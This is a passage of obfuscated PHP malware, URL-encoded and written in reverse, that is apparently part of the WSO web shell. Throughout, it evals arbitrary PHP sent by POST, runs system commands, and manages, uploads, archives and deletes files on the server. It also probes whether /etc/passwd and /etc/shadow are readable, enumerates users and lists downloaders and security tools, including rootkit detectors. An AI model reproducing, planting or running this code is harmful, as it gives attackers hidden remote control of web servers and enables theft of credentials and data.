09%09%0D%0A%29%27xobkcehc%27+%3D%3D+epyt.%5Di%5Bstnemele.selif.d%28fi%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.selif.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%7B+%29%28as+noitcnuf%09%0D%0A%3Etpircs%3C%22+ohce%0D%0A%7D%09%0D%0A%3B%29%5D2%5Bhctam%24%29tni%28+%2C%5D1%5Bhctam%24%28yarra+%3D+tros%24%09%09%09%0D%0A%29%29hctam%24+%2C%5D%271p%27%5BTSOP_%24+%2C%27%21%29%7D1%7Bd%5C%28_%29%2B%5Dz-A%5B%28_s%21%27%28hctam_gerp%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%291+%2C%27eman%27%28yarra+%3D+tros%24%09%0D%0A%3Btros%24+labolg%09%0D%0A%7D+%3Bnruter+%3B%29%28retooFosw%3B%27%21redlof+siht+nepo+t%27%5CnaC%27+ohce%09%7B+%29eslaf+%3D%3D%3D+tnetnoCrid%24%28fi%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%3A%5D%27c%27%5BTSOP_%24%3F%29%5D%27c%27%5BTSOP_%24%28tessi%28ridnacSosw+%3D+tnetnoCrid%24%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3D_2p%3D_1p%3Etpircs%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Creganam+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%40+%2C%27c%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%29%5D%27f%27%5BTSOP_%24%40%28ezilaires+%2C%27f%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24+%2C%27tca%27%28eikooctesOSW%09%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3Atluafed%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%27f%27%28eikooctes++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28tesnu%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++%0D%0A%3B%29%29%5D%27f%27%5BEIKOOC_%24+%2C%27+%27%28edolpmi+.+%27+%27+.+%29%5D%272p%27%5BTSOP_%24%28grallehsepacse+.+%27+vzfc+rat%27%28xEosw++++++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24+%2C%27grallehsepacse%27%28pam_yarra+%3D+%5D%27f%27%5BEIKOOC_%24++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++%0D%0A%7B+%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28oTtcartxe%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28nepo%3E-piz%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09%09%0D%0A%7B+%29%27piznu%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++++++%0D%0A%3B%29yek%24+%2C%29yek%24%28htaplaer%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29eulav%24%3E%3Dyek%24+sa+rotareti%24%28+hcaerof++++++++++++++++++++++++++++++++++++%0D%0A%3B%29%29STOD_PIKS%3A%3ArotaretImetsyseliF+%2C%27%2F%27.f%24%28rotaretIyrotceriDevisruceR+wen%28rotaretIrotaretIevisruceR+wen+%3D+rotareti%24++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28rid_si%40%28fiesle++++++++++++++++++++++++++++++++%0D%0A%3B%29f%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++%0D%0A%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28elif_si%40%28fi++++++++++++++++++++++++++++++++%0D%0A%3Beunitnoc++++++++++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7B+%29%291+%2C%5D%272p%27%5BTSOP_%24%28nepo%3E-piz%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09%09%0D%0A%7B+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29f%24.%5D%27dwc%27%5BSLABOLG%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28emaner%40%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%40%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_evom+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27evom%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2Cf%24%2C%5D%27c%27%5BEIKOOC_%24%28etsap_ypoc%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_ypoc+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27ypoc%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fi%09%09%09%09%0D%0A%3A%27etsap%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29f%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29f%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%29f%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%3B%29f%24%28edocedlru+%3D+f%24%09%09%09%09%09%09%0D%0A%3Beunitnoc++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BTSOP_%24%28hcaerof%09%09%09%09%09%0D%0A%29%29%5D%27f%27%5BTSOP_%24%40%28yarra_si%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29htap%24%28ridmr%40%09%09%09%09%09%0D%0A%3B%29hd%24%28ridesolc%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29meti%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29meti%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%22rid%22+%3D%3D+epyt%24%28+fi%09%09%09%09%09%09%0D%0A%3B%29meti%24%28epytelif+%3D+epyt%24%09%09%09%09%09%09%0D%0A%3Beunitnoc%09%09%09%09%09%09%09%0D%0A%29+%29%22.%22+%3D%3D+%29meti%24%28emanesab%28+%7C%7C+%29%22..%22+%3D%3D+%29meti%24%28emanesab%28+%28+fi%09%09%09%09%09%09%0D%0A%3Bmeti%24.htap%24+%3D+meti%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+%29+%29hd%24%28riddaer+%3D+meti%24%28+%28+elihw%09%09%09%09%09%0D%0A%3B%29htap%24%28ridnepo+%3D++hd%24%09%09%09%09%09%0D%0A%3B%27%2F%27.htap%24%3Ahtap%24+%3F+%29%27%2F%27%3D%3D%291-%2Chtap%24%28rtsbus%28+%3D+htap%24%09%09%09%09%09%0D%0A%7B+%29htap%24%28riDeteled+noitcnuf%09%09%09%09%0D%0A%3A%27eteled%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22rid+wen+etaerc+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%272p%27%5BTSOP_%24%28ridkm%40%21%28fi%09%09%09%09%0D%0A%3A%27ridkm%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22%21elif+daolpu+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%27eman%27%5B%5D%27f%27%5BSELIF_%24+%2C%5D%27eman_pmt%27%5B%5D%27f%27%5BSELIF_%24%28elif_dedaolpu_evom%40%21%28fi%09%09%09%09%0D%0A%3A%27eliFdaolpu%27+esac%09%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%28hctiws%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28ezilairesnu%40+%3D+%5D%27f%27%5BEIKOOC_%24++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28+ytpme%21%28+fi++++%0D%0A%7B+%29%28naMseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Eerp%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%28naelc_teg_bo%28srahclaicepslmth+ohce%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3E1lm%3Dssalc+%22%3Bxp5%3Apot-nigram%27.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%27%22%3Delyts+tuptuOphP%3Ddi+erp%3C%3Emrof%2F%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%27+ohce%09%0D%0A%3B%27%3E%22xp5%3Apot-nigram%22%3Delyts+lavE%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27.%29%27%27%3A%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28.%27%3EedoCphP%3Ddi+aeragib%3Dssalc+edoc%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%7D%3B%29%27%5C%27%5C%2Ceulav.edoc.siht%2Cllun%2C%27%5CphP%27%5C%28g%7Besle%7D%3B%29eulav.edoc.siht%2Cllun%2C%27%5CphP%27%5C%28a%7B%29dekcehc.xaja.siht%28fi%22%3Dtimbusno+tsop%3Ddohtem+fp%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cedoc-PHP+noitucexE%3E1h%3C%27+ohce++++%0D%0A%7D%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27.+%29pmt%24+%2C%272h%3C%27%2C%271h%3C%27%28ecalper_rts+ohce%09%09%0D%0A%3B%29pmt%24+%2C%29++++++++%0D%0A%27%27++++++++++++%0D%0A%2C%27%7D1%24%7B+ht+h.+%2Ch.+%2Cv.+%2Ce.%27++++++++++++%0D%0A%2C%27%27++++++++++++%0D%0A%28+yarra+%2C%29++++++++%0D%0A%2C%27Uism%21%3E%2B%5D%3E%5E%5Bgmi%3C%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%29%2A.%28%7B+ht+%2Cdt%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%2A.%7B+%292h+%2C1h+%2Cht+%2Cdt+%2Cydob%7C%2Bw%5C%3Aa%7Cydob%28%21%27++++++++++++%0D%0A%28+yarra%28ecalper_gerp+%3D+pmt%24++++++++%0D%0A%3B%29%28naelc_teg_bo+%3D+pmt%24%09%09%0D%0A%3B%29%28ofniphp%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%27%3Eelyts%2F%3C%7D%3B000%23%3Aroloc%7B+p.%3Eelyts%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cofni+PHP%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29%29%27ofni%27+%3D%3D+%5D%272p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%0D%0A%3B%290+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22+.+%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22+%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda+.+%22%27%3DLMTHrenni.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%7B+%29%28phPnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%27resu+ten%27%28xEosw%2C%27stnuoccA+resU%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27stnuocca+ten%27%28xEosw%2C%27sgnitteS+tnuoccA%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27rev%27%28xEosw%2C%27noisreV+SO%27%28maraPceSosw%09%09%0D%0A%7B+esle+%7D%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%29pmet%24+%2C%27sresU%27%28maraPceSosw++++++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++++++%0D%0A%7D++++++++++++++++++++%0D%0A%3B%22n%5C%22.%29diu%24%2C%27%3A%27%28nioj+%3D.+pmet%24++++++++++++++++++++++++++++%0D%0A%29diu%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28diuwpteg_xisop%40+%3D+diu%24++++++++++++++++++++++++%0D%0A%7B+%29%2B%2B%5D%272p%27%5BTSOP_%24%3B%5D%273p%27%5BTSOP_%24+%3D%3C+%5D%272p%27%5BTSOP_%24%3B%28rof++++++++++++++++++++%0D%0A%3B%22%22+%3D+pmet%24++++++++++++++++++++%0D%0A%7B+%29%29%5D%273p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%272p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%273p%27%5BTSOP_%24+%2C%5D%272p%27%5BTSOP_%24%28+tessi%28+fi++++++++++++++++%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E0001%3Deulav+2marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CoT%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3E0%3Deulav+1marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CmorF%3Edt%3C%3Ert%3C%3E%27%5C%3Beslaf+nruter%3B%29eulav.2marap.siht%2Ceulav.1marap.siht%2C%225%22%2Cllun%2Cllun%28g%27%5C%3Dtimbusno+mrof%3C%3Eelbat%3C%3Enaps%2F%3C%29dwssap%2Fcte%2F+%22daeR%22%28+diuwpteg_xisop%3Enaps%3C%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29%27stsoh%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27stsoH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%29%29%27h-+fd%27%28xEosw+%2C%27ecaps+DDH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27sredaolnwoD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+sredaolnwod%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27regnaD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+regnad%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27lufresU%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+lufresu%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%27%3Erb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%27rorrim-pwl%27%2C%27teg%27%2C%27lruc%27%2C%27sknil%27%2C%27xnyl%27%2C%27hctef%27%2C%27tegw%27%28yarra+%3D+sredaolnwod%24++++++++++++++++%0D%0A%3B%29%27ajnin%27%2C%27nacsmrow%27%2C%27llimwas%27%2C%27pacsbmz%27%2C%27ksamsys%27%2C%27hctawgol%27%2C%27kcehcgol%27%2C%27dixs%27%2C%27gdolpct%27%2C%27mdasdil%27%2C%27cesso%27%2C%27trons%27%2C%27yrtnestrop%27%2C%27ccdleihs%27%2C%27eriwpirt%27%2C%27wfpi%27%2C%27selbatpi%27%2C%27tiktoorkhc%27%2C%27retnuhkr%27%2C%27dmalc%27%2C%27dbewrd%27%2C%27vas%27%2C%27nacsvu%27%2C%27derocdb%27%2C%2723don%27%2C%27vak%27%28yarra+%3D+regnad%24++++++++++++++++%0D%0A%3B%29%27lrepdius%27%2C%27etacol%27%2C%27cn%27%2C%272pizb%27%2C%27pizb%27%2C%27pizg%27%2C%27rat%27%2C%27ybur%27%2C%27nohtyp%27%2C%27lrep%27%2C%27php%27%2C%27ekam%27%2C%27dl%27%2C%27cc%27%2C%27ccl%27%2C%27ccg%27%28yarra+%3D+lufresu%24++++++++++++++++%0D%0A%7B+%29%5D%27edom_efas%27%5BSLABOLG%24%21%28fi++++++++++++%0D%0A%3B%29%29%27ten.eussi%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27eman+rtsiD%27%28maraPceSosw++++++++++++%0D%0A%3B%29%29%27noisrev%2Fcorp%2F%27%28stnetnoc_teg_elif%40+%2C%27noisrev+SO%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cwodahs%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27wodahs%2Fcte%2F%27%28elbadaer_si%40+%2C%27wodahs%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cdwssap%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27dwssap%2Fcte%2F%27%28elbadaer_si%40+%2C%27dwssap%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%7B+%29%27xin%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%0D%0A%3B%27%3Erb%3C%27+ohce%09%0D%0A%3B%29%29pmet%24+%2C%27+%2C%27%28edolpmi+%2C%27sesabatad+detroppuS%27%28maraPceSosw%09%0D%0A%3B%22elcarO%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_ico%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSergtsoP%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_gp%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSSM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_lqssm%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22%29%22.%29%28ofni_tneilc_teg_lqsym.%22%28+lqSyM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27ofni_tneilc_teg_lqsym%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%29%28yarra%3Dpmet%24%09%0D%0A%3B%29%27on%27%3A%27delbane%27%3F%29%27noisrev_lruc%27%28stsixe_noitcnuf+%2C%27troppus+LRUc%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_edulcni_edom_efas%27%28teg_ini%40+%2C%27rid+edulcni+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_cexe_edom_efas%27%28teg_ini%40+%2C%27rid+cexe+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27ridesab_nepo%27%28teg_ini%40+%2C%27rid+esab+nepO%27%28maraPceSosw%09%0D%0A%3B%29%27enon%27%3A%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%3F%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24+%2C%27snoitcnuF+PHP+delbasiD%27%28maraPceSosw%09%0D%0A%3B%29%29%29%28seludom_teg_ehcapa+%2C%27+%2C%27%28edolpmi+%2C%27seludom+ehcapA+dedaoL%27%28maraPceSosw++++++++%0D%0A%29%29%27seludom_teg_ehcapa%27%28stsixe_noitcnuf%28fi++++%0D%0A%3B%29%29%27ERAWTFOS_REVRES%27%28vneteg%40+%2C%27erawtfos+revreS%27%28maraPceSosw%09%0D%0A%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+.+v%24+.+%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%09%0D%0Aesle%09%09%09%0D%0A%3B%27%3Erb%3C%27+.+v%24+ohce%09%09%09%09%0D%0A%29eslaf+%3D%3D%3D+%29%22n%5C%22+%2Cv%24%28soprts%28fi%09%09%09%0D%0A%3B%27%3Enaps%2F%3C+%3A%27+.+n%24+.+%27%3Enaps%3C%27+ohce%09%09%09%0D%0A%7B+%29v%24%28fi%09%09%0D%0A%3B%29v%24%28mirt+%3D+v%24%09%09%0D%0A%7B+%29v%24+%2Cn%24%28maraPceSosw+noitcnuf%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cnoitamrofni+ytiruces+revreS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ofnIceSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Beslaf+nruter%09%0D%0A%3Bhtap%24+nruter%09%09%0D%0A%29%29htap%24%28ytpme%21%28fi%09%0D%0A%3B%29p%24+.+%27+hcihw%27%28xEosw+%3D+htap%24%09%0D%0A%7B+%29p%24%28hcihWosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Bselif%24+nruter++++++++%0D%0A%3Bemanelif%24+%3D+%5D%5Bselif%24++++++++++++%0D%0A%29%29%29hd%24%28riddaer+%3D+emanelif%24%28+%3D%3D%21+eslaf%28+elihw++++++++%0D%0A%3B%29rid%24%28ridnepo+%3D++hd%24++++++++%0D%0A%7B+esle+%7D++++%0D%0A%3B%29rid%24%28ridnacs+nruter++++++++%0D%0A%7B+%29%29%22ridnacs%22%28stsixe_noitcnuf%28fi++++%0D%0A%7B+%29rid%24%28ridnacSosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E00ff52%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3Eetihw%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbatirw_si%40%21%28+fiesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E0000FF%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbadaer_si%40%21%28+fi%09%0D%0A%7B+%29f%24%28roloCsmrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Bi%24+nruter%09%0D%0A%3B%29%29%27-%27+%3A+%27T%27+%3F+%290020x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27t%27+%3F+%290020x0+%26+p%24%28%28+%3F+%291000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%292000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%294000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290040x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290040x0+%26+p%24%28%28+%3F+%298000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290100x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290200x0+%26+p%24%28%28+%3D.+i%24%09%